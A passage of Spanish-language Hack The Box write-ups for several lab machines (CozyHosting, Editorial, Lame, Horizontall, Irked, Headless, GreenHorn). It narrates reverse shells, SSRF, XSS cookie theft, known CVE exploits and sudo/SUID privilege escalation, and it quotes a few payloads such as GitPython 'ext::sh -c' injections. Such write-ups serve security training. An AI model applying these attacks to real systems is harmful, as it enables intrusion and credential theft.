Para tratar de conseguir una Reverse Shell, nos creamos un script en nuestro equipo para que la víctima ejecute el script a través del servidor web que levantamos para compartir este script.
Desde BurpSuite, enviaremos la siguiente inyección que lo que realizará es un cURL
de nuestro script y lo ejecutará con una bash
. Verificamos que logramos obtener acceso al equipo.
Otra de las maneras que nos encontramos, es a través de codificar el comando en base64.
En este caso, en un archivo llamado shell
guardamos el contenido de la típica Reverse Shell, revisamos como sería el código codificado, en este caso nos mostraba carácteres como ==
, lo cual posiblemente nos entraría en conflicto al no tratarse de un carácter común.
Por lo tanto, volvemos a editar el archivo añadiendo espacios en blanco en el comando, al verificar nuveamente el código en base64, verificamos que es una cadena de texto simple.
Desde BurpSuite
, ejecutaremos la siguiente inyección, la cual ejecutará este comando en Base64, lo descodificará y el comando descodificado lo ejecutará a través de una bash.
Verificamos que logramos obtener acceso al equipo.
Nos encontramos en el equipo como el usuario app
. Verificamos los usuarios que disponen de bash
y de los grupos a los cuales formamos parte. Al revisar los archivos que disponemos en el directori actual, nos encontramos con un archivo .jar
.
Nos pondremos en escucha desde nuestra máquina atacante para recibir este archivo. Desde la máquina víctima, enviaremos el contenido a través del /dev/tcp
.
Abriremos este nuevo archivo JAR
a través de la herramienta de JADX-GUI
en busca de información sensible en el código fuente.
Recordando que la página web utilizaba el framework de Spring Boot
, intentamos buscar por Internet información sobre ficheros JAR
de Spring Boot
y nos encontramos sobre application.properties
que debería contener información interesante.
Al analizar el binario, logramos visualizar credenciales de acceso a PostgreSQL.
Revisamos en la máquina víctima los puertos abiertos, y verificamos que el puerto de PostgreSQL
se encontraba abierto internamente.
Accedeeremos al SQL a través de las credenciales obtenidas. Verificamos de la existencia de diferentes bases de datos, las cuales parece llamarnos más la atención la de cozyhosting
.
Revisaremos las tablas de la base de datos mencionada, entre las tablas encontradas nos encontramos con una tabla users
que disponía de usuarios y credenciales en formato hash.
Trataremos de crackear estos hashes obtenidos, verificamos que logramos obtener las credenciales en texto plano del usuario llamado admin
.
Dado que únicamente josh
era el usuario que disponía de bash, probamos de acceder con él para ver si esta contraseña se reutilizaba en este usuario. Logramos pivotar de usuario y verificar la flag de user.txt.
Revisando los permisos de sudoers
que dispone el usuario josh
, verificamos que puede ejecutar como root
el binario de /usr/bin/ssh
.
En GTFOBins
nos encontramos con la siguiente página la cual nos menciona como aprovecharnos de este permiso enel binario de ssh
. Ejecutamos el comando que se nos menciona, verificamos que nos convertimos en usuarioroot
y logramos visualizar la flag de root.txt.
Realizaremos un reconocimiento con nmap
para ver los puertos que están expuestos en la máquina Editorial
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Nginx
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Añadiremos en nuestro archivo /etc/hosts
la siguiente entrada correspondiente.
Realizaremos una comprobación de las tecnologías que son utilizadas en el sitio web.
Realizaremos una enumeración de páginas y directorios de la aplicación web, en el cual se nos muestra el siguiente resultado obtenido.
Entre los campos que nos permite añadir o modificar, se nos indica que podemos añadir una URL de nuestra cover de nuestro libro, subir el libro y añadir la descripción correspondiente.
Lo primero se nos ocurre es en probar si la URL que podemos indicar, puede ser la de nuestro servidor web que nos montaremos a continuación. Por ello, nos levantamos a través de python un servidor web.
Ingresamos nuestra URL de nuestro servidor web que apunte a un recurso (inexistente) y al darle a la opción de Send book info
no obtenemos resultado ninguno en nuestro servidor web.
Probamos de darle a la opción de Preview
para verificar si a través de esta opción recibíamos algún tipo de solicitud en nuestro servidor web.
Comprobamos en nuestro servidor web que se ha recibido correctamente la solicitud por el método GET
a nuestro servidor web a través de la dirección IP del servidor víctima.
Teniendo esto en cuenta, se nos pueden ocurrir probar diferentes tipos de ataque, como por ejemplo, un Server-Side Request Forgery (SSRF)
.
Para ello, primero interceptaremos la solicitud a través de BurpSuite
al darle a la opcioón de Preview
y modificaremos la URL para que apunte a un servidor web interno por el puerto 80. En la respuesta por parte del servidor, se nos proporciona un resultado, pudiendo confirmar la existencia de un posible SSRF
.
Para realizar un escaneo de posibles puertos internos abiertos que pudieran haber en la máquina víctima, haremos uso de la herramienta de ffuf
para realizar fuzzing
.
Para ello, nos guardaremos el contenido de la petición que se tramita por POST
en BurpSuite
e indicaremos donde queremos que se aplique el fuzzing
, en este caso, en donde hemos indicado la palabra FUZZ
.
Realizaremos el fuzzing
a través de ffuf
sobre la URL indicada pasándole nuestro archivo de la petición que disponemos para que realice el fuzzing
e indicaremos también que realice una secuencia entre el 0 y 65365 que son el nº de puertos existentes.
En el resultado obtenido, comprobamos que nos aparece que ha encontrado el puerto 5000
.
Realizaremos un cURL
sobre el resultado anteriormente obtenido. En el resultado que se nos muestra, nos aparece la existencia de una API
con diferentes endpoints
.
Realizaremos una enumeración a través del SSRF
en combinación con la API
para comprobar los diferentes endpoints.
En este caso, el endpoint que probamos es /api/latest/metadata/messages/authors
que según comprobamos anteriormente, se almacenan los mensajes enviados a los nuevos autores. En el resultado obtenido en la respuesta del servidor, obtenemos el siguiente resultado.
Realizamos un cURL
sobre el resultado obtenido en la respuesta por parte del servidor y comprobamos el siguiente contenido. En el resultado obtenido se comprueba que se nos proporcionan credenciales de acceso al sistema.
Probamos de autenticarnos con estas credenciales obtenidas al equipo a través de SSH
y logramos obtener acceso. Por otro lado, también conseguimos obtener la flag de user.txt.
Revisamos si el usuario dev
disponía de algún permiso de sudoers
, pero no era el caso, y tampoco formaba parte de ningún grupo interesante. Por otro lado, también comprobamos los usuarios que disponían de una bash
, entre los que encontramos que existía un usuario llamado prod
, con lo cual nos hizo pensar que quizás antes de realizar la escalada al usuario root
, debíamos pivotar al usuario prod
.
Por lo tanto, decidimos realizar una enumeración más exhausta del sistema, explorando archivos, directorios, etc.
Enumerando el directorio /opt/internal_apps
nos encontramos con diferentes directorios entre los cuales con el usuario dev
no disponíamos del acceso.
Realizando una enumeración en el directorio /home/dev/apps
nos encontramos con un directorio privado de .git
en el cual al realizar un git status
se nos mostró el siguiente resultado.
A través del comando git log
, revisaremos los logs de los diferentes commit
que se han ido realizando.
Para obtener la misma información, pero más resumida en una única línea, haremos uso del siguiente comando.
Mediante el comando de git diff
comprobaremos diferencias entre los diferentes commits
que existen. En la compración entre los siguientes commits
, comprobamos que aparecen las credenciales del usuario dev
y el usuario prod
.
Verificamos si las credenciales del usuario prod
son válidas para autenticarse al SSH
del equipo víctima. Finalmente comprobamos el acceso al sistema con el usuario prod
logrando correctamente realizar el pivoting.
Revisando los permisos de sudoers
para comprobar si el usuario prod
disponía de alguno, nos encontramos con el siguiente resultado. Al parecer, podemos ejecutar como el usuario root
un script de Python3 ubicado en /opt/internal_apps/clone_changes/clone_prod_change.py
.
El script clone_prod_change.py
está escrito en Python y utiliza la librería GitPython
para clonar un repositorio desde una URL proporcionada como argumento. A continuación, desglosamos su funcionamiento:
Importación de módulos: Se importan las librerías os
, sys
y git
(de GitPython
), lo que indica que el script interactúa con Git y el sistema de archivos.
Cambio de directorio: Se cambia el directorio de trabajo a /opt/internal_apps/clone_changes
, lo que sugiere que todas las operaciones se realizarán en esta ruta.
Obtención de la URL: El script toma la URL del repositorio que se quiere clonar desde el primer argumento de la línea de comandos (sys.argv[1]
).
Inicialización del repositorio: Se crea un repositorio vacío (bare=True
) en el directorio actual usando Repo.init()
.
Clonación del repositorio: Se clona el repositorio especificado en la carpeta new_changes
mediante r.clone_from()
, con la opción -c protocol.ext.allow=always
, lo que permite protocolos de transporte personalizados en Git.
Revisamos la versión exacta de la libreria de gitpython
que se está utilizando en el script y nos encontramos con la versión 3.1.29
.
Realizando una búsqueda por Internet, nos encontramos con la siguiente vulnerabilidad de GitPython 3.1.29
reportada como CVE-2022-24439
.
Todas las versiones del paquete gitpython son vulnerables a la ejecución remota de código (RCE) debido a una validación incorrecta de la entrada del usuario, lo que hace posible inyectar una URL remota creada con fines malintencionados en el comando de clonación. Es posible explotar esta vulnerabilidad porque la librería realiza llamadas externas a git sin una sanitización suficiente de los argumentos de entrada.
Por otro lado, nos encontramos con el siguiente blog el cual nos muestran cómo poder realizar la explotación correctamente. En nuestra primera prueba, lo que realizamos es realizar la ejecución del script como sudo
y le indicamos 'ext::sh -c touch% /tmp/pwned'
que sería la inyección a realizar. En este caso, al realizar la ejecución del script con el payload malicioso, se comprueba que se ha creado correctamente el archivo /tmp/pwned
y el propietario es root
. Con lo cual, hemos confirmado la existencia de un Remote Code Execution
que es ejecutado con el usuario root
.
Por lo tanto, realizaremos el siguiente script en Bash que lo que realizará es proporcionar permisos de SUID
al binario /bin/bash
. Creamos el archivo, le damos los permisos de ejecución correspondientes.
Verificamos que antes de realizar la ejecución de la vulnerabilidad, el binario /bin/bash
no dispone de permisos de SUID
. Una vez verificado, realizamos la ejecución del script inyectándole nuestro payload malicioso 'ext::sh -c /tmp/exploit.sh'
para que ejecute el script que hemos creado en el punto anterior.
Al ejecutar el script, verificamos que el binario /bin/bash
dispone de permisos de SUID
, con lo cual, a través del parámetro -p
podemos convertirnos en el propietario del binario que en este caso es root
.
Comprobamos el acceso como el usuario root
y la visualización de la flag root.txt.
Lame
es una máquina Linux sencilla que solo requiere un exploit para obtener acceso root. Fue la primera máquina publicada en Hack The Box y, a menudo, la primera máquina para los nuevos usuarios antes de su retiro.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Lame. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado obtenido vemos servicios como FTP, SSH y SMB.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
En el escaneo inicial de Nmap nos encontramos que había un servidor Samba de la versión smbd 3.0.20
, nos pareció algo inusual que tuviera una versión tan antigua. Decidimos buscar por Internet posibles vulnerabilidades de esta versión y nos encontramos con el siguiente CVE-2007-2447
.
La funcionalidad MS-RPC en mbd en Samba 3.0.0 hasta la 3.0.25rc3 permite a atacantes remotos ejecutar comandos de su elección a través del intérprete de comandos (shell) de metacaracteres afectando a la (1) función SamrChangePassword, cuando la opción "secuencia de comandos del mapa del nombre de usuario" smb.conf está activada, y permite a usuarios remotos validados ejecutar comandos a través del intérprete de comandos (shell) de metacaracteres afectando a otras funciones MS-RPC en la (2)impresora remota y (3)gestión de ficheros compartidos.
Nos descargaremos el siguiente proyecto de GitHub para realizar la explotación. Instalaremos los requisitos necesarios para utilizar la herramienta.
En una nueva terminal nos pondremos en escucha para recibir la Reverse Shell.
Ejecutaremos el exploit indicándole el target (máquina vícitma), el puerto donde tiene levantado este servicio vulnerable y nuestra direccióin y puerto para recibir la Reverse Shell.
Comprobamos que hemos logrado obtener acceso al sistema como usuario root
. Logramos también visualizar las flags de user.txt y root.txt.
Horizontall
es una máquina Linux de dificultad fácil donde solo se exponen los servicios HTTP y SSH. La enumeración del sitio web revela que está construido utilizando el marco Vue JS. Al revisar el código fuente del archivo Javascript, se descubre un nuevo host virtual. Este host contiene el Strapi Headless CMS
que es vulnerable a dos CVE que permiten a los atacantes potenciales obtener ejecución de código remoto en el sistema como el usuario strapi
. Luego, después de enumerar los servicios que escuchan solo en localhost en la máquina remota, se descubre una instancia de Laravel. Para acceder al puerto en el que Laravel está escuchando, se utiliza el túnel SSH. El marco Laravel instalado está desactualizado y se ejecuta en modo de depuración. Se puede explotar otro CVE para obtener ejecución de código remoto a través de Laravel como root
.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Horizontall. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Nginx
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts
.
Realizaremos una comprobación de las tecnologías que utiliza el sitio web.
Realizaremos una enumeración de posibles subdominios de la página web, pero no logramos obtener resultado alguno.
A través de la herramienta de feroxbuster
, realizaremos una enumeración de directorios y subdominios de la página web. En el resultado obtenido, se nos muestran solamente archivos de JavaScript
.
Comprobaremos el contenido de estos archivos JS
que tienen de nombre app
, quizás podamos obtener algún dato interesante. Nos descargaremos el archivo a través de cURL
.
Revisaremos el contenido del archivo de JS
mediante js-beautify
para verlo en un formato cómodo de JS
.
En el contenido del archivo, se hace mención sobre un nuevo subdominio de la página web llamado api-prod.horizontall.htb
.
Añadiremos esta nueva entrada en nuestro archivo /etc/hosts
.
Enumeraremos posibles directorios y páginas webs de esta nuevo subdominio. En el resultado obtenido, comprobamos diferentes páginas y directorios, entre las cuales nos llama la atención las de admin
y users
.
Accederemos a http://api-prod.horizontall.htb/admin y comprobaremos el siguiente contenido. Se trata de un CMS llamado Strapi
.
Probamos de autenticarnos con las posibles credenciales por defecto de Strapi
, pero desafortunadamente no logramos obtener acceso.
Herramientas como Wappalyzer
o whatweb
no nos acababan mostrando la versión del Strapi
. Por lo tanto, decidimos intentar comprobar la versión del Strapi
a través del código fuente de la propia página web.
En el código fuente de la página web, nos encontramos en diferentes secciones que mencionan Strapi 3.0.0-beta.17.4
.
Realizamos una búsqueda a través de searchsploit
para verificar la posible existencia de vulnerabilidades conocidas para esta posible versión del CMS.
Verificamos que se nos muestra una vulnerabilidad de Remote Code Execution (RCE) (Unauthenticated)
para nuestra versión del CMS que dispone la aplicación web. Esta vulnerabilidad está reportada como CVE-2019-19609
.
El framework Strapi versiones anteriores a 3.0.0-beta.17.8, es vulnerable a una Ejecución de Código Remota en los componentes del Plugin de Instalación y Desinstalación del panel de Administración, ya que no sanea el nombre del plugin y los atacantes pueden inyectar comandos de shell arbitrarios para ser ejecutados mediante la función exec.
Realizando una búsqueda por Internet, nos encontramos con el siguiente repositorio de GitHub que nos ofrece la explotación de la vulnerabilidad.
Nos pondremos en escucha con nc
para poder obtener la conexión de la Reverse Shell.
A través del exploit que nos hemos descargado, realizaremos la explotación de la vulnerabilidad sobre la página de Strapi
vulnerable, para que se nos proporcione una Reverse Shell hacía nuestro equipo.
Verificamos que finalmente logramos realizar la explotación y nos encontramos en el equipo víctima con el usuario strapi
. También podemos verificar la flag user.txt.
Al obtener la reverse shell, mejoramos la calidad de la shell con los siguientes pasos para obtener una TTY interactiva.
Realizando una enumeración del directorio donde nos encontramos, verificamos de la existencia de un archivo database.json
el cual contiene las credenciales de acceso a la base de datos strapi
de MySQL
.
Nos conectaremos a través de las credenciales obtenidas, verificaremos las tablas presentes de la base de datos strapi
. Entre las tablas enumeradas, nos encontramos una tabla llamada strapi_administrator
.
Comprobaremos los datos de la table mencionada y nos encontramos con el hash del usuario admin
. Intentamos crackear este hash obtenido, pero no logramos crackearlo.
Revisaremos los puertos internos de la máquina, en el resultado obtenido nos encontramos diferentes puertos abiertos.
Realizamos una comprobación sobre los diferentes puertos encontrados. A través de cURL
al realizar una comprobación del puerto 8000
, se nos muestra que es una página web con el título de Laravel
.
Desde el equipo comprometido, nos descargaremos el binario de chisel
y le daremos los permisos de ejecución correspondientes.
Desde nuestro equipo, configuraremos chisel
como servidor.
Por otro lado, desde el equipo víctima, deberemos de configurar el chisel
para que actúe como cliente de nuestro servidor y realice el Port Forwarding del puerto interno 8000
para que sea el puerto 8000
de nuestro equipo local.
Desde nuestro navegador accederemos a http://localhost.8000 y comprobaremos que efectivamente se trataba de la interfaz de Laravel
.
Realizaremos una comprobación de los posibles directorios que se puedan encontrar en la página web. En el resultado obtenido, comprobamos la existencia de /profiles
pero nos devuelve un código de estado 500
.
En la página inicial de http://localhost:8000, nos encontrábamos la versión de Laravel
la cual al parecer la aplicación web utilizaba Laravel 8
.
Por lo tanto, decidimos buscar si existía alguna vulnerabilidad conocida para esta versión en concreto. Nos encontramos con el siguiente resultado, en el cual al parecer en la versión 8.4.2debug modepodíamos intentar obtener un RCE.
Desconocemos la versión exacta de Laravel
pero vale la pena intentar comprobar si es vulnerable a esta vulnerabilidad reportada como CVE-2021-3129
.
Ignition versiones anteriores a 2.5.2, como es usado en Laravel y otros productos, permite a atacantes remotos no autenticados ejecutar código arbitrario debido a un uso no seguro de las funciones file_get_contents() y file_put_contents(). Esto es explotable en sitios que usan el modo de depuración con Laravel versiones anteriores a 8.4.2
Nos encontramos el repositorio de GitHub de Ambionics
en el cual nos muestran el PoC de cómo aprovecharnos de esta vulnerabilidad y de qué consise.
Realizaremos la explotación, crearemos un payload malicioso llamado exploit.phar
que ejecute el comando id
.
Al realizar la explotación de la vulnerabilidad sobre el Laravel
vulnerable, nos encontramos que hemos podido ejecutar comandos arbitrarios y el usuario que ejecuta estos comandos es el usuario root
.
Con lo cual, tenemos una gran vía potencial de ejecutar comandos como sudo
y poder obtener acceso como root
en el equipo.
Nos pondremos en escucha con nc
para recibir la conexión remota.
Crearemos un nuevo archivo exploit.phar
que ejecute como comando una Reverse Shell. Ejecutaremos el exploit sobre el Laravel
vulnerable.
Verificamos que finalmente logramos obtener acceso al sistema como usuario root
y podemos visualziar la flag root.txt
Por otro lado, también nos encontramos con un repositorio de GitHub que automatiza todo este procedimiento.
Lo único que deberemos de editar en el archivo exploit.py
es el contenido de la URL vulnerable y el comando que queremos ejecutar en el sistema.
Lanzamos el exploit y lo primero que realiza es comprobar si tenemos phpgcc
instalado en el directorio actual, en caso de que no lo tuviéramos haría la descarga automáticamente. Una vez comprobado, nos ejecutará el comando realizado, en este caso la explotación ha sido exitosa y se muestra le ejecución del comando cat /etc/shadow
, como el usuario que ejecuta estos comandos es root
, podemos visualizar de este archivo privilegiado.
Irked
es una máquina bastante simple y directo que requiere conocimientos básicos de enumeración. Muestra la necesidad de escanear todos los puertos de las máquinas e investigar cualquier binario fuera de lugar que se encuentre al enumerar un sistema.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Irked
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache
, varios puertos relacionados con el protocolo IRC
y el servicio de SSH
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
El protocolo IRC (Internet Relay Chat) es uno de los primeros sistemas de chat en tiempo real que surgieron en internet. Permite que varios usuarios se conecten a un servidor y participen en canales (salas de chat) o conversaciones privadas, todo mediante texto. Aunque hoy existen otras plataformas más modernas, IRC sigue siendo muy usado por comunidades técnicas y, en ocasiones, en el mundo del hacking para coordinar acciones o intercambiar información rápidamente.
Utilizando el comando irssi -c 10.10.10.117 -p 6697
, iniciamos el cliente de IRC irssi y nos conectamos al servidor ubicado en la IP 10.10.10.117, empleando el puerto 6697, el cual se utiliza generalmente para conexiones seguras mediante TLS. De esta forma, podemos unirnos a los canales de chat en tiempo real que ofrece dicho servidor.
Dentro de la interfaz de Irssi
al ejecutar el comando /info
, logramos obtener la información del IRC
, en el cual se nos muestra la versión Unreal3.2.8.1
.
Al buscar por Internet dicha versión, se nos muestra la siguiente vulnerabilidad en la cual en dicha versión dispone de un Backdoor Command Execution
en el cual podríamos llegar a ejecutar comando arbitrario en el sistema. Dicha vulnerabilidad se encuentra reportada en CVE-2010-2075
.
Versiones de UnrealIRCd v3.2.8.1, distribuidas en ciertos sitios espejo (mirrors) desde Noviembre de 2009 hasta Junio de 2010 contienen una modificación introducida externamente (Caballo de Troya)en la macro DEBUG3_DOLOG_SYSTEM, que permite a atacantes remotos ejecutar comandos de su elección.
Realizando una búsqueda por Internet, logramos encontrar un exploit para aprovecharnos de dicha vulnerabilidad.
Editaremos el archivo exploit.py
en el cual deberemos de indicar nuestra dirección IP y el puerto donde estaremos en escucha para recibir la Reverse Shell.
Por otro lado, nos pondremos en escucha con nc
para recibir la conexión.
Ejecutaremos el exploit indicando el target
que es la máquina vulnerable y el puerto donde se encuentra el IRC
.
Verificamos que finalmente ganamos acceso a la máquina y nos encontramos como el usuario ircd
. Una vez recibida la Reverse Shell, realizaremos el tratamiento de la terminal para obtener una TTY
totalmente interactiva.
Realizando una enumeración entre los directorios verificamos que en /home/djmardov/Documents/
disponemos de un archivo .backup
.
Esto nos indica que se trata de la contraseña de salvoconducto, probablemente utilizada para acceder a un archivo oculto manipulado mediante técnicas de estenografía. La combinación de mayúsculas, minúsculas y patrones alfanuméricos sugiere un diseño pensado para proteger la información oculta de manera robusta.
Nos descargaremos la imagen en nuestro equipo local, verificaaremos que se trata de una imagen.
Se intenta extraer información oculta a través de steghide
de la imagen irked.jpg
. Durante el proceso se nos solicita el salvoconducto, y una vez ingresado correctamente, los datos extraídos se guardan en el archivo pass.txt
.
Probamos de acceder con estas credenciales y con el usuario djmardov
que es donde estábamos en su directorio y verificamos que finalmente logramos acceder al equipo mediante SSH
. Por otro lado, logramos visualizar la flag user.txt.
Realizando una enumeración del sistema para elevar nuestros privilegios, tratamos de verificar los binarios que disponen del permiso de SUID
.
En el resultado obtenido, verificamos un binario un tanto inusual llamado /usr/bin/viewuser
.
Verificamos que el propietario del binario es root
y que se trata de un binario ELF
de Linux.
Al tratar de ejecutar el binario se nos indica que no ha encontrado /tmp/listusers
.
Accederemos al directorio donde disponemos el binario y levantaremos un servidor web para compartir el binario.
Desde nuestra máquina nos descargaremos el binario de viewuser
.
Al analizar la traza con ltrace
, observamos lo siguiente:
Primero, se muestran mensajes informativos que indican que la aplicación está en desarrollo para establecer y probar permisos de usuario.
Ejecutamos el comando who
mediante system(), lo que nos permite ver los usuarios conectados, y esta llamada se completa sin problemas.
Se intenta cambiar el ID de usuario a root con setuid(0), pero la llamada falla (retorna -1), lo que significa que la elevación de privilegios no se consigue.
Finalmente, se intenta ejecutar /tmp/listusers
mediante system(), pero el archivo no se encuentra, resultando en un error (código de salida 32512).
En resumen, nosotros vemos que, a pesar de que la aplicación intenta realizar acciones sensibles, como elevar privilegios y listar usuarios, estas funcionalidades aún no están completamente implementadas o fallan en su ejecución.
Primero creamos el archivo /tmp/listusers con el contenido "id", pero al listar sus permisos vemos que sólo es legible y escribible para el propietario (-rw-r--r--), sin permiso de ejecución. Luego, al ejecutar /usr/bin/viewuser, el programa imprime sus mensajes de desarrollo y, al intentar ejecutar el contenido de /tmp/listusers, falla mostrando "Permission denied" porque el archivo no es ejecutable.
Primero, otorgamos permisos de ejecución al archivo /tmp/listusers
con chmod +x /tmp/listusers
. Luego, al ejecutar /usr/bin/viewuser
, la aplicación muestra sus mensajes de estado y, tras ello, ejecuta el comando contenido en /tmp/listusers
. Con el archivo ahora ejecutable, este comando (que en este caso es id
) se ejecuta correctamente, mostrando que el usuario efectivo es root
(uid=0) y listando sus grupos. Esto confirma que la aplicación intenta probar la elevación de privilegios al ejecutar comandos con permisos elevados.
Modificamos el contenido de /tmp/listusers para que, al ejecutarse, se invoque una shell de Bash. Al lanzar /usr/bin/viewuser, la aplicación lee ese archivo y ejecuta /bin/bash, lo que nos da una shell con privilegios elevados. Desde allí, comprobamos con whoami que efectivamente somos root. Finalmente visualizamos la flag root.txt.
Headless
es una máquina Linux de dificultad fácil que cuenta con un servidor Python Werkzeug
que aloja un sitio web. El sitio web tiene un formulario de soporte al cliente, que se ha descubierto que es vulnerable a Cross-Site Scripting (XSS) ciego a través del encabezado User-Agent
. Esta vulnerabilidad se aprovecha para robar una cookie de administrador, que luego se utiliza para acceder al panel de control del administrador. La página es vulnerable a la inyección de comandos, lo que lleva a un shell inverso en el equipo. Al enumerar el correo del usuario se revela un script que no utiliza rutas absolutas, que se aprovecha para obtener un shell como root.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Headless. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web en el puerto 5000.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Revisamos que se trata de una nueva página web que contiene un formulario de contacto. Interceptaremos esta solicitud con FoxyProxy+BurpSuite para verificar el funcionamiento de esta solicitud al enviar el formulario.
En el resultado obtenido en BurpSuite, nos encontramos la manera en la que se tramitan los datos. No encontramos nada inusual de momento, verificaremos más adelante si podemos realizar algo con esto.
Haremos una enumeración de directorios en el sitio web, nos encontramos a través del resultado de gobuster
un nuevo directorio llamado dashboard
.
Este mensaje de error, parece muy parecidos a los predeterminadas de Flask
.
Revisando nuevamente en la página web donde nos proporcionan un formulario, verificamos que disponemos de una Cookie de sesión.
También verificamos que al acceder a http://10.10.11.8:5000/dashboard, el atributo de HttpOnly
se encuentra en False
, por lo cual podríamos intentar realizar un ataque de Cookie Hijacking
para robar una cookie de sesión.
Al probar de enviar en el formulario, en uno de los campos, las etiquetas de <script>
, el propio servidor al parecer lo detecta como intento de hacking y nos bloquea la dirección IP. En el resultado por parte del servidor, al parecer lo que también se muestra es la solicitud que hemos enviado, en la cual aparecen nuestra información.
Por lo tanto, podríamos intentar probar de inyectar en las cabeceras código HTML/JS y verificar si al enviar la solicitud el servidor en el output que nos mostraban aparecían. Efectivamente, en este caso, al modificar nuestro User-Agent
en el output del servidor se interpretaron las etiquetas HTML indicadas.
Por lo tanto, lo que probaremos es de realizar un Cookie Hijacking
para robar la cookie de sesión de algún usuario que se encuentre revisando nuestra solicitud, en el caso de que lo haya...
Nos levantaremos un servidor web en nuestro equipo.
En el campo de User-Agent
estableceremos la siguiente inyección XSS para que nos envíe la cookie del usuario.
Al pasar un tiempo, verificamos que recibimos una cookie diferente a la nuestra, por lo que parece ser que un usuario ha revisado nuestro formulario y hemos logrado obtener su cookie.
Al descodificar esta cookie obtenida, verificamos que el usuario del que se trata es del usuario admin
.
Verificamos que al refrescar el sitio web, logramos acceder al panel de Administración. Interceptaremos la solicitud que se realiza al generar el reporte cuando le damos al botón de Generate Report
.
En el resultado interceptado, probamos de modificar los valores del campodate
y se nos generaba el reporte pero no nos lograba mostrar ningún tipo de información interesante.
En este caso, probamos de enviarle un valor aleatorio y verificamos que por parte del servidor, aparece que se ha generado correctamente el reporte.
Si pensamos en lo que está haciendo el servidor, es probable que esté tomando la fecha y buscando información sobre lo que estaba sucediendo en el informe en esa fecha. Si puede hacerlo desde Python, eso está bien. Pero si necesita ejecutar algunos comandos del sistema, es posible que esté tomando nuestra entrada y construyendo el comando a partir de ella, y luego llamando algo como subprocess.run o os.system con esa cadena.
Para comprobarlo, intentaremos agregar ; id al final de la fecha. Comprobamos que hemos logrado ejecutar comandos en el panel.
Por lo tanto, al lograr obtener un RCE, el siguiente paso será lograr establecernos una conexión al sistema.
Desde nuestra máquina atacante, nos pondremos en escucha con nc
.
Ejecutarems el sigueinte comando para establecernos una Reverse Shell.
Verificamos que logramos obtener acceso al servidor y visualizar la flag de user.txt.
Revisando si el usuario dvir
que disponemos actualmente, disponía de algún permiso de sudoers
, nos encontramos que si dispone de este privilegio sobre el binario /usr/bin/check
.
Revisando este binario, nos encontramos con el siguiente script.
El script syscheck
realiza las siguientes funciones:
Verifica si el script se ejecuta con privilegios de root. Si no es así, termina con un error.
Obtiene y muestra la fecha y hora de la última modificación del kernel en /boot
.
Muestra el espacio disponible en disco en la partición raíz (/
).
Muestra el promedio de carga del sistema (load average).
Verifica si el servicio de base de datos (representado por initdb.sh
) está en ejecución. Si no lo está, lo inicia; si ya está en marcha, muestra un mensaje indicando que el servicio está activo.
Primero de todo, revisaremos si el archivo initdb.sh
existe en alguna ruta del sistema. Verificamos que no existe este archivo, por lo tanto, podríamos aprovecharnos de este script prara crear un archivo initdb.sh
que haga una acción que queramos, dado que el script indicaba que si el script no estaba iniciado, lo ejecutaría.
En este caso, optamos por darle permisos de SUID
al /bin/bash para convertirnos en usuarioroot
. Creamos un archivo llamado initdb.sh
que realizaría un cambio en el binario /bin/bash
para darle permisos de SUID
. Al ejecutar el binario con permisos de sudo
, verificamos que se ha ejecutado el script y el binario de /bin/bash
tiene permisos de SUID
.
Dado que el usuario root
es el propietario de /bin/bash
y ahora este último tiene permisos de SUID
, abusaremos de esto para convertirnos en usuario root
y visualizar la flag root.txt.
GreenHorn
es una máquina de dificultad fácil que aprovecha un exploit en Pluck
para lograr la ejecución remota de código y luego demuestra los peligros de las credenciales pixeladas.
La máquina también demuestra que debemos tener cuidado al compartir configuraciones de código abierto para asegurarnos de no revelar archivos que contengan contraseñas u otra información que deba mantenerse confidencial.
Realizaremos un reconocimiento con Nmap
para ver los puertos que están expuestos en la máquina GreenHorn
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN
y oX
para posteriormente trabajar con ellos. Verificamos que al parecer se trata de una máquina Ubuntu que dispone de unas página de Nginx
y Golang
y del protocolo SSH.
Procederemos a transformar el archivo generado targetedXML
para transformar el XML
en un archivo HTML
para posteriormente montar un servidor web y visualizarlo.
A través de la herramienta whatweb
revisaremos las tecnologías que utiliza el sitio web.
Al realizar una enumeración de directorios en el sitio web, tampoco logramos obtener resultados.
Al realizar fuzzing
para encontrar posibles subdominios en el sitio web, en el resultado obtenido, todas las respuestas nos devolvían 154 Ch
.
Por lo tanto, en el siguiente escaneo con wfuzz
, procedimos a ocultar estos resultados, obteniendo tampoco ningún resultado sobre algún posible subdominio en el sitio web del puerto 80.
Procedimos a intentar buscar posibles páginas con extensiones PHP
y en este caso si obtuvimos algunos resultados interesantes.
